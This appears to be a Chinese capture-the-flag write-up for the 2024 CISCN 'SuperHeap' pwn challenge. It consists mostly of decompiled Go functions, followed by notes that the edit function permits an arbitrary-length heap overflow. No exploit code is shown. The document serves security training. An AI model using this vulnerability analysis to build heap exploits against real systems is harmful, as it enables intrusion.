2024 cicsn SuperHeap

文章目录

参考
沙箱
存在protobuf
逆向
- buy_book
- see_book
- return_book
- edit_book
- search_book
思路
exp

参考

https://hakuya.work/post/7
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap
https://blog.csdn.net/m0_63437215/article/details/127914567

沙箱

在这里插入图片描述

存在protobuf

工具提取

逆向

真难逆，通过字符串定位到相关函数，这里用来个map来int映射到函数，太难逆了，直接字符串定位算了

buy_book

// main.WEB5SF
// local variable allocation has failed, the output may be wrong!
__int64 __golang buy_book_(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&publishdata_ptr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  idx_string[0] = &RTYPE_string;
  idx_string[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)idx_string,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v79);
  idx = input_number(v11, v10, v12, 1, 1);
  if ( idx >= 0x1C || (v14 = book_chunk_array[idx]) != 0 )
  {
    Invalid[0] = &RTYPE_string;
    Invalid[1] = &off_2BBBD0;
    return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)Invalid, 1, 1, v14, v15, v16, v17, v80);
  }
  else
  {
    index = idx;
    Special_Data[0] = &RTYPE_string;
    Special_Data[1] = &off_2BBBE0;
    v19 = qword_41A3E8;
    v20 = fmt_Fprint(
            (unsigned int)io_write,
            qword_41A3E8,
            (unsigned int)Special_Data,
            1,
            1,
            (unsigned int)&off_2BBBE0,
            v15,
            v16,
            v17,
            v80);
    specail_data = (char *)read_choice(v20);
    specail_data_string.len = v19;
    specail_data_string.ptr = specail_data;
    v116 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, specail_data_string);// base32解码输入的
    if ( v116.1.tab )
    {
      Error_decoding[0] = &RTYPE_string;
      Error_decoding[1] = &Error__decoding;
      return fmt_Fprintln(
               (unsigned int)io_write,
               qword_41A3E8,
               (unsigned int)Error_decoding,
               1,
               1,
               v22,
               v23,
               v24,
               v25,
               v81);
    }
    else
    {
      ptr = (int)v116.0.ptr;
      cap = v116.0.cap;
      input_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
                                                       &RTYPE_mypackage_CTFBook,
                                                       v116.0.len,
                                                       v116.0.cap,
                                                       0,
                                                       (int)v116.1.data,
                                                       v22,
                                                       v23,
                                                       v24,
                                                       v25);
      if ( github_com_golang_protobuf_proto_Unmarshal(// 使用protobuf解码
             ptr,
             v116.0.len,
             cap,
             (unsigned int)off_2BD1C8,
             (_DWORD)input_mypackage_CTFBook,
             v26,
             v27,
             v28,
             v29,
             v81) )
      {
        v105[0] = &RTYPE_string;
        v105[1] = &Error__decoding;
        return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v105, 1, 1, v30, v31, v32, v33, v82);
      }
      else
      {
        v117 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Title);// 对title字段base64解码
        if ( v117.1.tab )
        {
          errordeocd[0] = &RTYPE_string;
          errordeocd[1] = &Error__decoding;
          return fmt_Fprintln(
                   (unsigned int)io_write,
                   qword_41A3E8,
                   (unsigned int)errordeocd,
                   1,
                   1,
                   v34,
                   v35,
                   v36,
                   v37,
                   v82);
        }
        else
        {
          title_len = v117.0.len;
          title_ptr = v117.0.ptr;
          v118 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Author);// 对author字段base64解码
          if ( v118.1.tab )
          {
            v114[0] = &RTYPE_string;
            v114[1] = &Error__decoding;
            return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v114, 1, 1, v38, v39, v40, v41, v82);
          }
          else
          {
            author_ptr = v118.0.ptr;
            author_len = v118.0.len;
            v119 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Isbn);// 对isbn字段base64解码
            if ( v119.1.tab )
            {
              v113[0] = &RTYPE_string;
              v113[1] = &Error__decoding;
              return fmt_Fprintln(
                       (unsigned int)io_write,
                       qword_41A3E8,
                       (unsigned int)v113,
                       1,
                       1,
                       v42,
                       v43,
                       v44,
                       v45,
                       v82);
            }
            else
            {
              isbn_ptr = v119.0.ptr;
              isbn_len = v119.0.len;
              v120 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->PublishDate);// 对publishdata解码base64
              if ( v120.1.tab )
              {
                v112[0] = &RTYPE_string;
                v112[1] = &Error__decoding;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v112,
                         1,
                         1,
                         v46,
                         v47,
                         v48,
                         v49,
                         v82);
              }
              else
              {
                publishdata_ptr = v120.0.ptr;
                main__cgo_cmalloc(
                  (__int64)v120.0.ptr,
                  v120.0.len,
                  v120.0.cap,
                  0,
                  (int)v120.1.data,
                  v46,
                  v47,
                  v48,
                  v49,
                  48,
                  v85);
                if ( malloc_for_book_struct_addr )// 由上面的main_cgo_cmalloc分配的
                {
                  book_struct = (_QWORD *)malloc_for_book_struct_addr;
                  main__cgo_cmalloc(
                    title_len,
                    v120.0.len,
                    title_len + 1,
                    0,
                    (int)v120.1.data,
                    v50,
                    v51,
                    v52,
                    v53,
                    title_len + 1,
                    malloc_for_book_struct_addr);
                  v58 = 0x40000000LL;
                  if ( title_len < 0x40000000 )
                    v58 = title_len;
                  v96 = v58;
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct;
                    runtime_gcWriteBarrier(malloc_title_ptr);
                  }
                  else
                  {
                    *book_struct = malloc_title_ptr;
                  }
                  main__cgo_cmalloc(
                    author_len,
                    v120.0.len,
                    author_len + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v54,
                    v55,
                    v56,
                    v57,
                    author_len + 1,
                    malloc_title_ptr);
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct + 8;
                    runtime_gcWriteBarrier(malloc_author_ptr_1);
                  }
                  else
                  {
                    book_struct[1] = malloc_author_ptr_1;
                  }
                  main__cgo_cmalloc(
                    isbn_len,
                    v120.0.len,
                    isbn_len + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v59,
                    v60,
                    v61,
                    v62,
                    isbn_len + 1,
                    malloc_author_ptr_1);
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct + 16;
                    runtime_gcWriteBarrier(malloc_isbn_ptr);
                  }
                  else
                  {
                    book_struct[2] = malloc_isbn_ptr;
                  }
                  main__cgo_cmalloc(
                    v120.0.len,
                    v120.0.len,
                    LODWORD(v120.0.len) + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v63,
                    v64,
                    v65,
                    v66,
                    LOBYTE(v120.0.len) + 1,
                    malloc_isbn_ptr);
                  if ( dword_44AC30 )
                  {
                    runtime_gcWriteBarrier(malloc_publishdata_ptr);
                  }
                  else
                  {
                    book_struct_addr = book_struct;
                    book_struct[3] = malloc_publishdata_ptr;
                  }
                  if ( title_ptr != (uint8 *)*book_struct_addr )
                  {
                    runtime_memmove(*book_struct_addr, title_ptr, v96);
                    book_struct_addr = book_struct;
                  }
                  malloc_author_ptr = (uint8 *)book_struct_addr[1];
                  author_len_1 = 0x40000000LL;
                  if ( author_len < 0x40000000 )
                    author_len_1 = author_len;
                  if ( author_ptr != malloc_author_ptr )
                  {
                    runtime_memmove(malloc_author_ptr, author_ptr, author_len_1);
                    book_struct_addr = book_struct;
                  }
                  malloc_isbn_ptr_1 = (uint8 *)book_struct_addr[2];
                  isbn_len_1 = 0x40000000LL;
                  if ( isbn_len < 0x40000000 )
                    isbn_len_1 = isbn_len;
                  if ( isbn_ptr != malloc_isbn_ptr_1 )
                  {
                    runtime_memmove(malloc_isbn_ptr_1, isbn_ptr, isbn_len_1);
                    book_struct_addr = book_struct;
                  }
                  malloc_publish_ptr = (uint8 *)book_struct_addr[3];
                  malloc_publishdata_len = 0x40000000LL;
                  if ( (__int64)v120.0.len < 0x40000000 )
                    malloc_publishdata_len = v120.0.len;
                  if ( publishdata_ptr != malloc_publish_ptr )
                  {
                    runtime_memmove(malloc_publish_ptr, publishdata_ptr, malloc_publishdata_len);
                    book_struct_addr = book_struct;
                  }
                  input_mypackage_CTFBook_1 = input_mypackage_CTFBook;
                  book_struct_addr[4] = *(_QWORD *)&input_mypackage_CTFBook->Price;
                  book_struct_addr[5] = input_mypackage_CTFBook_1->Stock;
                  if ( dword_44AC30 )
                  {
                    runtime_gcWriteBarrierDX(&book_chunk_array[index], v120.1.data, book_struct_addr);
                  }
                  else
                  {
                    v77 = index;
                    v78 = book_chunk_array;
                    book_chunk_array[index] = book_struct_addr;// 最后赋值到数组中
                  }
                  add_success[0] = &RTYPE_string;
                  add_success[1] = &Book_added_successfully;
                  return fmt_Fprintln(
                           (unsigned int)io_write,
                           qword_41A3E8,
                           (unsigned int)add_success,
                           1,
                           1,
                           v77,
                           (_DWORD)v78,
                           v67,
                           v68,
                           v84);
                }
                else
                {
                  Failed_allocate_memory_Book[0] = &RTYPE_string;
                  Failed_allocate_memory_Book[1] = &off_2BBC00;
                  return fmt_Fprintln(
                           (unsigned int)io_write,
                           qword_41A3E8,
                           (unsigned int)Failed_allocate_memory_Book,
                           1,
                           1,
                           v50,
                           v51,
                           v52,
                           v53,
                           v83);
                }
              }
            }
          }
        }
      }
    }
  }
}

see_book

下次可以通过格式化字符串判断结构体的各个变量的类型

// main.CU5GMG
__int64 __golang see_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)Invalid_index <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v86[0] = &RTYPE_string;
  v86[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v86,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v69);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (v19 = (_QWORD *)book_chunk_array[index]) != 0LL )
  {
    book_struct_addr = (_QWORD *)book_chunk_array[index];
    v83 = runtime_gostring(*v19, v10, v14, 1, 1, v15, v16, v17, v18, v69);
    v79 = v10;
    v82 = runtime_gostring(book_struct_addr[1], v10, (_DWORD)book_struct_addr, 1, 1, v21, v22, v23, v24, v69);
    v78 = v10;
    v81 = runtime_gostring(book_struct_addr[2], v10, (_DWORD)book_struct_addr, 1, 1, v25, v26, v27, v28, v69);
    v77 = v10;
    v80 = runtime_gostring(book_struct_addr[3], v10, (_DWORD)book_struct_addr, 1, 1, v29, v30, v31, v32, v69);
    v76 = v10;
    v33 = &v69 + 16;
    v68 = &v88;
    ((void (__fastcall *)(__int64 *))loc_C278B)(v33);
    v39 = runtime_convTstring(v83, v79, v34, (_DWORD)v33, 1, v35, v36, v37, v38, v69, v70);
    v87[0] = (__int64)&RTYPE_string;
    v87[1] = v39;
    v44 = runtime_convTstring(v82, v78, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v40, v41, v42, v43, v69, v70);
    v87[2] = (__int64)&RTYPE_string;
    v87[3] = v44;
    v49 = runtime_convTstring(v81, v77, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v45, v46, v47, v48, v69, v70);
    v87[4] = (__int64)&RTYPE_string;
    v87[5] = v49;
    v50 = v76;
    v55 = runtime_convTstring(v80, v76, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v51, v52, v53, v54, v69, v70);
    v87[6] = (__int64)&RTYPE_string;
    v87[7] = v55;
    v60 = runtime_convT64(book_struct_addr[4], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v56, v57, v58, v59, v69);
    v87[8] = (__int64)&RTYPE_float64;
    v87[9] = v60;
    v65 = runtime_convT64(book_struct_addr[5], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v61, v62, v63, v64, v69);
    v87[10] = (__int64)&RTYPE_int;
    v87[11] = v65;                              // 前四个转换为字符串，后两个转换为整数
    return fmt_Fprintf(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)"Title: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nStock: %d",
             69,
             (unsigned int)v87,
             6,
             6,
             v66,
             v67,
             v69,
             v70,
             v71,
             v72,
             v73,
             v74,
             v75);
  }
  else
  {
    Invalid_index[0] = &RTYPE_string;
    Invalid_index[1] = &Invalid__index;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)Invalid_index,
             1,
             1,
             v15,
             v16,
             v17,
             v18,
             v69);
  }
}

return_book

// main.F3ZJ75
__int64 __golang return_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v48[0] = &RTYPE_string;
  v48[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v48,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v39);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (book_struct_addr_1 = (__int64 *)book_chunk_array[index]) != 0LL )
  {
    index_1 = index;
    book_struct_addr = book_chunk_array[index];
    main_F3ZJ75_func1(book_struct_addr_1, v10, v14, 1LL, 1, (int)book_struct_addr_1, v16, v17, v18);
    main_F3ZJ75_func2(book_struct_addr, v10, v20, 1, 1, v21, v22, v23, v24, v40);
    main_F3ZJ75_func3(book_struct_addr, v10, v25, 1, 1, v26, v27, v28, v29, v41);
    main_F3ZJ75_func4(book_struct_addr, v10, v30, 1, 1, v31, v32, v33, v34, v42);// 是对四个堆指针做检查然后free掉
    if ( dword_44AC30 )
    {
      runtime_gcWriteBarrierDX(&book_chunk_array[index_1], 1LL, 0LL);
    }
    else
    {
      v38 = book_chunk_array;
      book_chunk_array[index_1] = 0LL;          // 清零
    }
    Book_returne_suceess[0] = &RTYPE_string;
    Book_returne_suceess[1] = &::Book_returne_suceess;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)Book_returne_suceess,
             1,
             1,
             (_DWORD)v38,
             v35,
             v36,
             v37,
             v43);
  }
  else
  {
    v47[0] = &RTYPE_string;
    v47[1] = &Invalid__index;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)v47,
             1,
             1,
             (_DWORD)book_struct_addr_1,
             v16,
             v17,
             v18,
             v40);
  }
}

edit_book

// main.OMJP7W
// local variable allocation has failed, the output may be wrong!
__int64 __golang main_OMJP7W(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&author_ptr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v82[0] = &RTYPE_string;
  v82[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v82,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v58);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (v14 = book_chunk_array[index]) != 0 )
  {
    index_1 = index;
    Special_Data[0] = &RTYPE_string;
    Special_Data[1] = &Special__Data;
    v19 = qword_41A3E8;
    v20 = fmt_Fprint(
            (unsigned int)io_write,
            qword_41A3E8,
            (unsigned int)Special_Data,
            1,
            1,
            (unsigned int)&Special__Data,
            v15,
            v16,
            v17,
            v59);
    specail_data = (char *)input(v20);
    v84.len = v19;
    v84.ptr = specail_data;
    v85 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, v84);// base32解码
    if ( v85.1.tab )
    {
      v79[0] = &RTYPE_string;
      v79[1] = &Error__decoding;
      return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v79, 1, 1, v22, v23, v24, v25, v60);
    }
    else
    {
      ptr = (int)v85.0.ptr;
      cap = v85.0.cap;
      p_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
                                                   &RTYPE_mypackage_CTFBook,
                                                   v85.0.len,
                                                   v85.0.cap,
                                                   0,
                                                   (int)v85.1.data,
                                                   v22,
                                                   v23,
                                                   v24,
                                                   v25);
      if ( github_com_golang_protobuf_proto_Unmarshal(// protobuf反序列化
             ptr,
             v85.0.len,
             cap,
             (unsigned int)off_2BD1C8,
             (_DWORD)p_mypackage_CTFBook,
             v26,
             v27,
             v28,
             v29,
             v60) )
      {
        v78[0] = &RTYPE_string;
        v78[1] = &Error__decoding;
        return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v78, 1, 1, v30, v31, v32, v33, v61);
      }
      else
      {
        v86 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Title);
        if ( v86.1.tab )
        {
          v77[0] = &RTYPE_string;
          v77[1] = &Error__decoding;
          return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v77, 1, 1, v34, v35, v36, v37, v61);
        }
        else
        {
          title_len = v86.0.len;
          title_ptr = v86.0.ptr;
          v87 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Author);
          if ( v87.1.tab )
          {
            v76[0] = &RTYPE_string;
            v76[1] = &Error__decoding;
            return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v76, 1, 1, v38, v39, v40, v41, v61);
          }
          else
          {
            author_len = v87.0.len;
            author_ptr = v87.0.ptr;
            v88 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Isbn);
            if ( v88.1.tab )
            {
              v75[0] = &RTYPE_string;
              v75[1] = &Error__decoding;
              return fmt_Fprintln(
                       (unsigned int)io_write,
                       qword_41A3E8,
                       (unsigned int)v75,
                       1,
                       1,
                       v42,
                       v43,
                       v44,
                       v45,
                       v61);
            }
            else
            {
              isbn_len = v88.0.len;
              isbn_ptr = v88.0.ptr;
              v89 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->PublishDate);
              if ( v89.1.tab )
              {
                v74[0] = &RTYPE_string;
                v74[1] = &Error__decoding;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v74,
                         1,
                         1,
                         v46,
                         v47,
                         v48,
                         v49,
                         v61);
              }
              else
              {
                publishdata_ptr = v89.0.ptr;
                book_struct_addr = (_QWORD *)book_chunk_array[index_1];
                book_struct_addr_1 = book_struct_addr;
                title_len_1 = 0x40000000LL;
                if ( title_len < 0x40000000 )
                  title_len_1 = title_len;
                if ( title_ptr != (uint8 *)*book_struct_addr )
                {
                  runtime_memmove(*book_struct_addr, title_ptr, title_len_1);// 根据输入的调整len，没有限制，以下都一样
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                author_len_1 = 0x40000000LL;
                if ( author_len < 0x40000000 )
                  author_len_1 = author_len;
                if ( author_ptr != (uint8 *)book_struct_addr[1] )
                {
                  runtime_memmove(book_struct_addr[1], author_ptr, author_len_1);
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                isbn_len_1 = 0x40000000LL;
                if ( isbn_len < 0x40000000 )
                  isbn_len_1 = isbn_len;
                v54 = (int)isbn_ptr;
                if ( isbn_ptr != (uint8 *)book_struct_addr[2] )
                {
                  runtime_memmove(book_struct_addr[2], isbn_ptr, isbn_len_1);
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                publishdata_len = 0x40000000LL;
                if ( (__int64)v89.0.len < 0x40000000 )
                  publishdata_len = v89.0.len;
                if ( v89.0.ptr != (uint8 *)book_struct_addr[3] )
                {
                  runtime_memmove(book_struct_addr[3], v89.0.ptr, publishdata_len);
                  book_struct_addr = book_struct_addr_1;
                }
                v56 = p_mypackage_CTFBook;
                book_struct_addr[4] = *(_QWORD *)&p_mypackage_CTFBook->Price;
                Stock = v56->Stock;
                book_struct_addr[5] = Stock;    // 最后两项没法溢出
                v83[0] = &RTYPE_string;
                v83[1] = &off_2BBC40;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v83,
                         1,
                         1,
                         Stock,
                         v54,
                         v48,
                         v49,
                         v61);
              }
            }
          }
        }
      }
    }
  }
  else
  {
    v81[0] = &RTYPE_string;
    v81[1] = &Invalid__index;
    return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v81, 1, 1, v14, v15, v16, v17, v59);
  }
}

search_book

// main.NSKGUW
__int64 __golang search_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&v156 <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  Keyword__[0] = &RTYPE_string;
  Keyword__[1] = &Keyword_;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)Keyword__,
          1,
          1,
          (unsigned int)&Keyword_,
          a7,
          a8,
          a9,
          *(__int64 *)v124);
  keyword = input(v11);
  len = v10;                                    // v10可能存储input后输入的长度
  v12 = book_chunk_array_copy;
  com_success = book_chunk_array;
  result = ((__int64 (__fastcall *)(__int64 *, _QWORD *))copy_array)(book_chunk_array_copy, book_chunk_array);// 这个是把将一个数组的数据赋值到另一个数组的数据的
  index = 0LL;
  is_have = 0;
  while ( index < 28 )
  {
    index_1 = index;
    v149 = is_have;
    book_chunk_addr = (_QWORD *)book_chunk_array_copy[index];
    book_chunk_addr_1 = book_chunk_addr;
    if ( book_chunk_addr )
    {
      v21 = runtime_gostring(
              *book_chunk_addr,
              v10,
              index,
              (_DWORD)v12,
              (_DWORD)com_success,
              (_DWORD)book_chunk_addr,
              v16,
              v17,
              v18,
              *(__int64 *)v124);
      if ( len == v10 )                         // v10存储提取到的字符串长度
      {
        len_1 = v10;
        v10 = keyword;
        first_com_flag = runtime_memequal(v21, keyword, len_1);// 比较的
      }
      else
      {
        first_com_flag = 0;
      }
      if ( first_com_flag )                     // 比较成功，没必要比较第二个
      {
        second_flag = 1;
      }
      else
      {
        v26 = runtime_gostring(
                book_chunk_addr_1[1],
                v10,
                (_DWORD)book_chunk_addr_1,
                (_DWORD)v12,
                (_DWORD)com_success,
                v22,
                v16,
                v17,
                v18,
                *(__int64 *)v124);
        if ( len == v10 )
        {
          v27 = v10;
          v10 = keyword;
          second_flag = runtime_memequal(v26, keyword, v27);
        }
        else
        {
          second_flag = 0;
        }
      }
      if ( second_flag )                        // 比较成功，没必要比较第三个
      {
        third_flag = 1;
      }
      else
      {
        v29 = runtime_gostring(
                book_chunk_addr_1[2],
                v10,
                (_DWORD)book_chunk_addr_1,
                (_DWORD)v12,
                (_DWORD)com_success,
                v22,
                v16,
                v17,
                v18,
                *(__int64 *)v124);
        if ( v10 == len )
          third_flag = runtime_memequal(v29, keyword, v10);
        else
          third_flag = 0;
      }
      index = index_1;
      is_have = v149;
      v10 = len;
      book_chunk_addr = book_chunk_addr_1;
      LODWORD(com_success) = third_flag;
      result = keyword;
    }
    else
    {
      LODWORD(com_success) = 0;
    }
    if ( (_BYTE)com_success )                   // 比较成功，输出
    {
      v30 = runtime_gostring(
              *book_chunk_addr,
              v10,
              index,
              (_DWORD)v12,
              (_DWORD)com_success,
              (_DWORD)book_chunk_addr,
              v16,
              v17,
              v18,
              *(__int64 *)v124);
      v31 = v10;
      v32 = v30;
      v35 = runtime_stringtoslicebyte((unsigned int)&v159, v30, v31, (_DWORD)v12, (_DWORD)com_success, v33, v34);
      v162 = main_IDJS3Z(v35, v32, v36, (int)v12, (int)com_success, v37, v38, v39, v40, *(_slice_uint8 *)v124);
      v152 = v32;
      v45 = runtime_gostring(
              book_chunk_addr_1[1],
              v32,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v41,
              v42,
              v43,
              v44,
              v125);
      v46 = v32;
      v47 = v45;
      v50 = runtime_stringtoslicebyte((unsigned int)&v158, v45, v46, (_DWORD)v12, (_DWORD)com_success, v48, v49);
      v165 = main_IDJS3Z(v50, v47, v51, (int)v12, (int)com_success, v52, v53, v54, v55, v126);
      v154 = v47;
      v60 = runtime_gostring(
              book_chunk_addr_1[2],
              v47,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v56,
              v57,
              v58,
              v59,
              v127);
      v61 = v47;
      v62 = v60;
      v65 = runtime_stringtoslicebyte((unsigned int)&v157, v60, v61, (_DWORD)v12, (_DWORD)com_success, v63, v64);
      v164 = main_IDJS3Z(v65, v62, v66, (int)v12, (int)com_success, v67, v68, v69, v70, v128);
      v153 = v62;
      v75 = runtime_gostring(
              book_chunk_addr_1[3],
              v62,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v71,
              v72,
              v73,
              v74,
              v129);
      v76 = v62;
      v77 = v75;
      v80 = runtime_stringtoslicebyte((unsigned int)&v155, v75, v76, (_DWORD)v12, (_DWORD)com_success, v78, v79);
      v163 = main_IDJS3Z(v80, v77, v81, (int)v12, (int)com_success, v82, v83, v84, v85, v130);
      ((void (__fastcall *)(_QWORD *))loc_C2786)(Keyword__);
      v91 = runtime_convT64(index_1, v77, v86, (unsigned int)Keyword__, (_DWORD)com_success, v87, v88, v89, v90, v131);
      v168[0] = (__int64)&RTYPE_int;
      v168[1] = v91;
      v96 = runtime_convTstring(
              v162,
              v152,
              (unsigned int)&RTYPE_int,
              (unsigned int)Keyword__,
              (_DWORD)com_success,
              v92,
              v93,
              v94,
              v95,
              v132,
              v139);
      v168[2] = (__int64)&RTYPE_string;
      v168[3] = v96;
      v101 = runtime_convTstring(
               v165,
               v154,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v97,
               v98,
               v99,
               v100,
               v133,
               v140);
      v168[4] = (__int64)&RTYPE_string;
      v168[5] = v101;
      v106 = runtime_convTstring(
               v164,
               v153,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v102,
               v103,
               v104,
               v105,
               v134,
               v141);
      v168[6] = (__int64)&RTYPE_string;
      v168[7] = v106;
      v111 = runtime_convTstring(
               v163,
               v77,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v107,
               v108,
               v109,
               v110,
               v135,
               v142);
      v168[8] = (__int64)&RTYPE_string;
      v168[9] = v111;
      v116 = runtime_convT64(
               book_chunk_addr_1[4],
               v77,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v112,
               v113,
               v114,
               v115,
               v136);
      v168[10] = (__int64)&RTYPE_float64;
      v168[11] = v116;
      v121 = runtime_convT64(
               book_chunk_addr_1[5],
               v77,
               (unsigned int)&RTYPE_float64,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v117,
               v118,
               v119,
               v120,
               v137);
      v168[12] = (__int64)&RTYPE_int;
      v168[13] = v121;
      LODWORD(v12) = 79;
      fmt_Fprintf(
        (unsigned int)io_write,
        qword_41A3E8,
        (unsigned int)"Index: %d\nTitle: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nSt",
        79,
        (unsigned int)v168,
        7,
        7,
        v122,
        v123,
        v138,
        v143,
        v144,
        v145,
        v146,
        v147,
        v148);
      result = keyword;
      index = index_1;
      is_have = v149;
      v10 = len;
      LODWORD(com_success) = (unsigned __int8)com_success;
    }
    ++index;
    is_have |= (unsigned __int8)com_success;
  }
  if ( !is_have )                               // 没有匹配的
  {
    No_matching_books_[0] = &RTYPE_string;
    No_matching_books_[1] = &No_matching_books;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)No_matching_books_,
             1,
             1,
             (_DWORD)book_chunk_addr,
             v16,
             v17,
             v18,
             *(__int64 *)v124);
  }
  return result;
}

思路

edit存在任意长度溢出，每次add会分配多个chunk（应该是6个 4个是内部数据 1个当做接受输入的special数据一个当做book结构体地址但调试时候断点malloc只有5个，不知道为什么，可能是那个函数不同，可能并不是分配的）
delete会将四个堆指针free掉，然后book_chunk_array对应位置清零，但不会free掉book_chunk

但感觉有edit任意长度溢出就行了，但add edit delete show都会对索引对应的chunk_array检查是否不为零
